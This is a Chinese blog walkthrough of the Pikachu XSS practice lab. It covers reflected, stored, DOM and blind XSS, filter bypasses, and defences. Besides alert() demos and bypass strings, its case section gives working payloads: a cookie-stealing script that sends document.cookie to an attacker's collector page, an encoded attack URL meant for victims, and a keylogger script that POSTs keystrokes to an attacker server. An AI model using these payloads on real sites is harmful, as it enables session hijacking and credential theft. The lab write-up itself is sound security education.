• ctf-pikachu-XSS


    XSS(跨站脚本攻击,Cross Site Scripting)

    XSS攻击流程:
    在这里插入图片描述

    XSS危害:存储型>反射型>DOM型
    XSS原因:程序对输入和输出的控制不够严格,导致精心构造的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。

    XSS漏洞测试流程:

    1. 在目标站点上找到输入点,比如查询接口,留言板等 
    2. 输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理
    3. 通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合)
    4. 提交构造的脚本(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞
    
    • 1
    • 2
    • 3
    • 4

    tips:

    1. 一般查询接口容易出现反弹型XSS,留言板容易出现存储型XSS
    2. 由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器)
    3. 通过变化不同的script,尝试绕过后台过滤机制
    
    • 1
    • 2
    • 3

    1.反射型XSS(GET)

    1. 在输入框随便输入一个字符串,比如james
      在这里插入图片描述

    2. 发现返回的内容中出现了james,因此我们可以推测后台是将输入的字符原封不动的传回给前端。观察网页源代码。
      在这里插入图片描述

    3. 因此我们可以构造一个js代码来尝试执行,看后端会不会进行解析。
      在这里插入图片描述
      发现输入框中无法输入过长字符串。如果该限制是在前端进行的,则没有意义,我们可以按F12进入web开发者工具,找到对应的html代码进行修改即可。
      在这里插入图片描述
      然后继续写js代码。
      在这里插入图片描述

    4. 发现可以执行,因此判断网页存在XSS漏洞,如果将该js代码改为恶意代码,即可执行攻击。
      在这里插入图片描述

    5. 观察网页url,发现写的js代码也出现在url里面,可以判断出这是GET方式的XSS漏洞。
      在这里插入图片描述

    6. 因此进行攻击时,可以直接在url中写入恶意代码进行攻击。

      GET方式的XSS漏洞更容易利用,一般利用的方式是将带有跨站脚本的url伪装后发送给目标,而POST方式由于是以表单方式提交,无法直接使用url方式进行攻击。

    2.反射型XSS(POST)

    3.存储型XSS

    存储型XSS漏洞跟反射型形成原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称为“永久型”XSS。

    1. 我们同样在输入框中随便输入一个字符串’111’。
      在这里插入图片描述
      点击提交后,发现留言列表中出现了111。并且刷新之后,该留言不会消失。因此可以判断此留言被存入了数据库中。

    2. 因此我们同样构造一段js代码进行测试。点击提交,发现后端对该js代码进行了解析,并且每次刷新,都会执行该js代码,因此可以判断存在存储型XSS漏洞。
      在这里插入图片描述
      在这里插入图片描述

    4.DOM型XSS

    DOM可以理解为一个访问HTML标准的接口,里面集成了很多函数用于操作HTML元素。
    DOM具体介绍链接

    1. 同样,先随便输入一个字符串,发现返回一个类似于a标签(带链接)的字符串。
      在这里插入图片描述

    2. 查看网页源代码,搜索上述字符串
      在这里插入图片描述
      分析得知,点击click me!按钮后,会调用domxss函数,该函数中首先提取输入框中的内容并存入变量str中,然后观察domxss函数中的第二行发现,a标签中以链接的形式使用到了上面的str变量,因为str变量我们是可以任意输入的,因此就造成了DOM型的XSS漏洞,我们可以构造特殊字符串使得该字符串被解析执行。

    3. 构造恶意字符串

      从a标签中的内容可以得知,我们可以修改的位置是 “+str+” 部分。

       <a href='"+str+"'>what do you see?</a>
      
      • 1

      因此我们把这个部分整体删除,留下剩余部分

       <a href=''>what do you see?</a>
      
      • 1

      然后构造字符串,首先先要闭合左边的单引号,我们使用 #’ 来闭合;然后加入onclick,为该链接提供功能,我们在里面可以写入恶意代码,这里为了演示,只写了alert(111)。然后用>来闭合<

       <a href='#' onclick="alert(111)">'>what do you see?</a>
      
      • 1

      将我们构造的部分截取下来,如下所示:

       #' onclick="alert(111)">
      
      • 1

      此部分就是我们输入框中要输入的部分。

    4. 填入输入框,点击按钮后再点击弹出的链接,发现成功弹窗。
      在这里插入图片描述
      注意:DOM型XSS只在前端进行操作,信息不进入后端。因此基本无法进行攻击,该题目只是为了让你理解DOM型攻击的方法和流程。

    5.DOM型XSS-X

    这个攻击与上面攻击的不同点在于,上面的攻击是从前端网页标签中获取字符串,而这个攻击获取输入内容的方法是从网页url中获取字符串。这类似于反射型XSS,我们可以构造一个恶意url对目标进行攻击。
    在这里插入图片描述
    发现a标签和上面的攻击的书写形式基本一致,因此我们构造恶意字符串的方法一样,填入:

    #' onclick="alert(111)">
    
    • 1

    在这里插入图片描述

    6.XSS之盲打

    原理:存在XSS漏洞,输入的内容不会回显到网页上,但有可能传入到了后台,因此攻击者不可见。攻击者可以嵌入恶意代码,当后台管理人员登录网站时,恶意代码就会被执行,只是攻击者无法直观的发现是否存在XSS漏洞,因此成为盲打。

    1. 随便输入一些信息。
      在这里插入图片描述

    2. 发现没有在页面上回显,但不代表不存在XSS漏洞,只是我们难以判断他是否存在XSS漏洞。
      在这里插入图片描述

    3. 写入一些可执行的网页代码提交。
      在这里插入图片描述

    4. 此时我们以管理员的身份登录一下后台。(注意此时我们的身份从攻击者转为了被攻击者)
      在这里插入图片描述

    5. 发现后台被攻击成功。(虽然攻击者并不能很直观的知道是否存在XSS漏洞,但可通过反复尝试,看是否攻击成功来确定该网页是否存在XSS漏洞)

    7.XSS之过滤

    XSS漏洞存在一些防护措施,但依旧有办法对这些防护措施进行绕过。

    防范措施及其绕过方法:

    1. 前端限制。绕过方法:直接抓包重放,或者修改HTML前端代码。(安全措施最好不要在前端进行)
    2. 正则匹配。绕过方法:
      (1)大小写。使用大小写混合来绕过正则匹配。比如:<SCript>aLert(111)</SCRIPt>
      (2)注释干扰。比如:<scri<!–zhushi–>pt>alert(111)</sc<!–zhushi–>ript>
      (3)编码。将易被过滤的标签进行编码,以此来绕过匹配机制。注意当浏览器对该编码进行识别时,要能翻译为正常标签才可。
    3. 替换删除。绕过方法:
      (1)拼凑。因为一般的替换删除都只进行一次,因此可以使用拼凑法绕过替换删除操作。比如:<scri<script>pt>alert(111)</scri</script>pt>
      (2)注释干扰。
      (3)编码。
    1. 首先输入一些常见恶意代码常用的标签和字符
      在这里插入图片描述
      发现回显内容并不包含script,说明对字符串“ <script ”进行过滤。

    2. 我们可以尝试上面提到的大小写绕过方式。

      输入:

       <ScriPT>alert(111)</ScriPT>
      
      • 1

      在这里插入图片描述
      发现绕过成功。

      XSS有关过滤-绕过的方式有很多,详情可以上网查询相关方法。

    8.XSS之html special chars

    htmlspecialchars()函数会将一些预定义的字符进行编码。

    预定义字符:

    &  -- &amp
    "  -- &quot
    '  -- &#039
    <  -- &lt
    >  -- &gt
    
    • 1
    • 2
    • 3
    • 4
    • 5

    可用的引号类型:

    ENT_COMPAT - 默认。仅编码双引号
    ENT_QUOTES - 默认。编码双引号和单引号
    ENT_NOQUOTES - 默认。不编码任何引号
    
    • 1
    • 2
    • 3
    1. 首先输入一些常用的字符。
      在这里插入图片描述
      发现并没有进行过滤,那就要考虑是否进行了编码。

    2. 查看网页源码
      在这里插入图片描述
      发现的确进行了编码,但是单引号并没有进行编码。

    3. 构造恶意代码

       ' onclick='alert(111)'
      
      • 1

      第一个单引号用于闭合href的单引号。
      在这里插入图片描述
      在这里插入图片描述
      攻击成功。

    9.XSS之href输出

    1. 随便输入一些常用字符,看看是否存在过滤或者编码情况。
      在这里插入图片描述
      在这里插入图片描述
      发现这里将单引号和双引号都进行了编码,因此无法采用上面的方法。
      但是a标签的href属性里面是可以使用javascript协议来执行js的

    2. 因此我们可以这样构造恶意代码:javascript:alert(111)。
      在这里插入图片描述在这里插入图片描述
      攻击成功。

      所以针对href属性,除了使用htmlspecialchars函数进行转义,还要在输入时对字符串进行过滤,因为href一般为网页超链接,因此只要将开头不是http或https的字符串都过滤掉,这样一般就不会出现问题了。

    10.XSS之js输出

    1. 随便输入字符串。查看网页源代码。
      在这里插入图片描述
      在这里插入图片描述
      发现输入的内容嵌入到了js代码中。

    2. 我们可以构造一个闭合,来实现攻击。

    <script>
        $ms='11111'; //对输入的内容进行修改,先用一个'闭合左边的单引号,然后再用</script>闭合开头的<script>,后面再嵌入恶意代码即可
        if($ms.length != 0){
            if($ms == 'tmac'){
                $('#fromjs').text('tmac确实厉害,看那小眼神..')
            }else {
    //            alert($ms);
                $('#fromjs').text('无论如何不要放弃心中所爱..')
            }
    
        }
    </script>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    最后输入内容为:x'</script><script>alert('xss')</script>
    
    • 1
    <script>
        $ms='x'</script><script>alert('xss')</script>'; 
        if($ms.length != 0){
            if($ms == 'tmac'){
                $('#fromjs').text('tmac确实厉害,看那小眼神..')
            }else {
    //            alert($ms);
                $('#fromjs').text('无论如何不要放弃心中所爱..')
            }
    
        }
    </script>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    1. 进行攻击。
      在这里插入图片描述
      攻击成功。

      因为js中无法解析那些进行过html实体编码的字符,因此不能使用htmlspecialchars,所以在js中的转义一般用\实现。

    案例

    1.通过XSS获取cookie及xss管理后台使用

    在这里插入图片描述
    利用反射型XSS(GET)进行攻击

    构造能够读取用户cookie值并传送到攻击者后台的js代码:
    <script>document.location = 'http://127.0.0.1/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
    这里我为了方便起见,将被攻击者和攻击者都设置为本机,即127.0.0.1,如果使用图中的ip,则应该是:
    <script>document.location = 'http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
    
    • 1
    • 2
    • 3
    • 4

    将这段代码放入存在反射型XSS(GET)漏洞的浏览器中:
    在这里插入图片描述
    然后提交,发现攻击者后台就得到了访问该网页的用户的cookie以及一些其他信息。
    在这里插入图片描述
    我们发现点击提交之后,网页url如下所示:

    	http://127.0.0.1/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F127.0.0.1%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
    
    • 1

    然后我们可以将这段url发送给用户来进行cookie收集,只要访问了这个网站的用户都会中招,这就是反射型XSS(GET)方法进行cookie收集的方法。

    2.通过XSS进行钓鱼攻击

    原理:在一个存在XSS漏洞的网页上嵌入一个请求,该请求需要用户输入“用户名”和“密码”,从而可以收集用户信息。
    在这里插入图片描述

    3.通过XSS获取键盘记录

    为了方便起见,这里攻击者和被攻击者用的同一个ip(127.0.0.1)

    1. 修改配置文件

      (1)将http://127.0.0.1/pkxss/rkeypress/rk.js文件中倒数第六行修改为:

       ajax.open("POST", "http://127.0.0.1/pkxss/rkeypress/rkserver.php",true);
       即将ip改为攻击者ip,因为要将获取到的键盘信息以POST方式发送给攻击者。
      
      • 1
      • 2

      (2)将http://127.0.0.1/pkxss/rkeypress/rkserver.php文件中的:
      在这里插入图片描述
      取消注释,设置为允许被跨域访问。因为被攻击者的ip通常与攻击者ip不同(本实验相同,为了方便),所以一般无法在被攻击者网页通过POST方式操作攻击者网页,因此需要设置跨域访问权限。

    2. 将恶意js文件代码放入带有XSS漏洞的网页中

       <script src="http://127.0.0.1/pkxss/rkeypress/rk.js"></script>
      
      • 1

    在这里插入图片描述

    1. 随意在该网页上敲击键盘,登录攻击者后台,可以发现已经记录下来了。
      在这里插入图片描述

    总结

    XSS常见防范措施

    总的原则:输入做过滤,输出做转义。

    过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。

    转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到js里面的进行js转义。

  • 相关阅读:
    LeetCode42:接雨水
    前端实现水印效果的多种方案
    2022 年辽宁省大学生程序设计竞赛 个人题解
    ptmalloc源码分析 - Top chunk的扩容函数sysmalloc实现(09)
    图像处理Laplacian 算子
    【Vue】路由
    基于Pango Design SuiteFPGA程序加载/固化——TMS320F28377D开发板
    SAP创建权限对象、角色、并分配角色
    广读论文核心思路汇总笔记 (一些有意思的论文and论文在研究的一些有意思的问题or场景应用)
    java计算机毕业设计基于安卓Android的跨校区班车乘车预约系统APP
  • 原文地址:https://blog.csdn.net/Dajian1040556534/article/details/125234642